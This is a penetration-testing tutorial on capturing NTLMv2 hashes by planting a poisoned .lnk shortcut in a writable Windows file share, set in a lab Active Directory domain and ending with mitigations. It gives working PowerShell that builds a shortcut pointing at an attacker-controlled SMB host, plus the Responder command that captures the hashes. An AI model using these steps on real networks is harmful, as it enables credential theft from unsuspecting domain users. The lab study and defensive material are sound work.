If you’ve seen any of my other guides on attacking Active Directory, you’ll have noticed that I love using Responder or Inveigh to capture NTLMv2 hashes. In this tutorial, we’re still going to leverage these tools, but we’re going to force users to send us their hash in a bit different of a way.

Table of Contents:

• Overview of the Attack
• Topology of the Network
• Performing the Attack
• How Do We Mitigate This?

---

Overview of the Attack

What is it?

Using PowerShell, we’re able to create our own .lnk file that contains a poisoned icon path. By directing users to a remote SMB share as the file location of the thumbnail, we’re able to force users who access this file share to reach out and make an authentication request to a location that we control.

When can attackers use this?

This attack vector is especially useful in cases where you’ve obtained write access to a publicly accessible file share. If you can drop a specially crafted .lnk file in a location with high traffic, you should be able to capture a large number of NTLMv2 hashes for multiple users.

This can be further chained with SMB Relay attacks in the event that there are machines in the environment with SMB Signing disabled.

---

Topology of the Network

In our scenario, we have four machines that are all a part of the same internal network.

Windows Server 2019:

• Acts as the domain controller.
• Has a FQDN of king.nba.local.
• IP address is 10.0.1.10
• Hosts up a file share at \\King\Share

First Windows 10 Machine:

• Joined to the nba.local domain.
• Is used by NBA\kBryant domain user.
• IP address is 10.0.1.11
• O:\ drive is mapped to \\King\Share

Second Windows 10 Machine:

• Joined to the nba.local domain.
• Is used by NBA\kIrving domain user.
• IP address is 10.0.1.200
• O:\ drive is mapped to \\King\Share

Attacker Kali Linux:

• Not domain joined.
• IP address is 10.0.1.5

---

Performing the Attack

To begin, we need to first create our malicious .lnk file. Since we’ll be using PowerShell, you’ll need access to a Windows machine to generate the file, but it does not need to be domain-joined to the target network.

In a PowerShell prompt, we will create our malicious .lnk file using the following commands:

$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("C:\Malicious.lnk")
$lnk.TargetPath = "\\<attackerIP>\@threat.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Browsing to the dir this file lives in will perform an authentication request."
$lnk.HotKey = "Ctrl+Alt+O"
$lnk.Save()

Once the commands are ran, it should generate a file to C:\Malicous.lnk. When a user browses to this file, the thumbnail will attempt to load an icon from \\<attackerIP>\@threat.png. This image obviously doesn’t exist, but we can leverage this connection attempt create a challenge that accepts a NTLMv2 hash.

We’ll now rename this file to include an @ symbol in the beginning and give it a less suspicious name. This will force the file to show up at the top of the file-share, which should increase the chances that users browse across it.

Finally, we’ll copy it down to the target network and drop it into a public file share.

With our file planted, let’s head over to our Kali instance, change into our Responder directory, and start up our listener. If you don’t know what this is, check out my guide on LLMNR poisoning at Abusing LLMNR/NBT-NS in Active Directory Domains: Part 1 (Capturing NTLMv2 Hashes).

cd /opt/Responder
sudo python Responder.py -I eth0

Now, let’s simulate a user browsing to this file share. From one of the domain-joined machines, we’ll navigate to the O:\ drive like a real user would do. Right away, we’re able to capture that user’s NTLMv2 hash.

This will continue until the file is removed from the server, which could allow an attacker the ability to capture a large number of NTLMv2 hashes before getting busted.

---

How Do We Mitigate This?

• Egress firewall rules. If SMB connections (ports 445 and 139) are not allowed outbound, the attacker would never be able to challenge the request and capture the NTLMv2 hashes of the users.

• Strict file share permissions. File shares should never allow for anybody to write to them. Users that need write access should be very limited in terms of which directories they can write in, and the principal of least privilege should always be followed.

• Enforce SMB Signing. While this won’t prevent the attack from occurring, it will limit the impact. If SMB Signing is not required across the network, attackers can easily relay these hashes to authenticate to machines across the domain.

• Strong Password Policy. Surely you know by now that this is a must-have. A strong password could make these captured hashes useless if SMB Signing is enforced and the hashes are uncrackable.